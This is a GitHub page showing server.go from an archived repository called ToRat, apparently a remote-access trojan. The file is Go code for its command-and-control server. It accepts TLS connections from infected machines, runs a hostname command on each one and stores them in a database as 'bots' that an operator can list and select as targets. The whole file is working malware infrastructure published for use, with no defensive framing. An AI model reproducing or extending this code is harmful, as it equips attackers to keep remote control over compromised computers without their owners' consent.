This repository has been archived by the owner on Mar 26, 2023. It is now read-only.
/
server.go
104 lines (91 loc) · 2.18 KB
/
server.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
package server
import (
"crypto/tls"
"fmt"
"log"
"net"
"os"
"path/filepath"
"strconv"
"github.com/fatih/color"
"github.com/jinzhu/gorm"
_ "github.com/jinzhu/gorm/dialects/sqlite" //sqlite
"github.com/lu4p/ToRat/torat_server/crypto"
)
const port = ":1338"
var db *gorm.DB
var activeClients []activeClient
// Start runs the server
func Start() {
db, _ = gorm.Open("sqlite3", "ToRat.db")
defer db.Close()
// Migrate the schema
db.AutoMigrate(&client{})
cert, err := tls.LoadX509KeyPair("cert.pem", "key.pem")
if err != nil {
log.Println("could not load cert", err)
return
}
config := tls.Config{Certificates: []tls.Certificate{cert}}
ln, err := net.Listen("tcp", port)
if err != nil {
fmt.Println(err)
return
}
for {
conn, err := ln.Accept()
if err != nil {
log.Println("accepting failed:", err)
continue
}
//log.Println("got new connection")
tlsconn := tls.Server(conn, &config)
go accept(tlsconn)
}
}
func accept(conn net.Conn) {
var c activeClient
c.Conn = conn
encHostname, err := c.runCommandByte("hostname")
if err != nil {
log.Println("Invalid Hostname", err)
return
}
log.Println("Len Hostname", len(encHostname))
hostname, err := crypto.DecAsym(encHostname)
if err != nil {
log.Println("Invalid Hostname", err)
return
}
c.Hostname = string(hostname)
c.Client = &client{Hostname: string(hostname), Path: filepath.Join("bots", c.Hostname)}
db.FirstOrCreate(&c.Client, client{Hostname: string(hostname)})
log.Println("success")
if _, err = os.Stat(c.Client.Path); err != nil {
os.MkdirAll(c.Client.Path, os.ModePerm)
}
if c.Client.Name == "" {
c.Client.Name = c.Client.Hostname
}
db.Save(&c.Client)
activeClients = append(activeClients, c)
fmt.Println(green("[+] New Client"), blue(c.Client.Name), green("connected!"))
}
func listConn() []string {
var clients []string
for i, c := range activeClients {
str := strconv.Itoa(i) + "\t" + c.Client.Hostname + "\t" + c.Client.Name
clients = append(clients, str)
}
return clients
}
func printClients() {
color.HiCyan("Clients:")
list := listConn()
for _, client := range list {
color.Cyan(client)
}
}
func getClient(target int) *activeClient {
return &activeClients[target]
}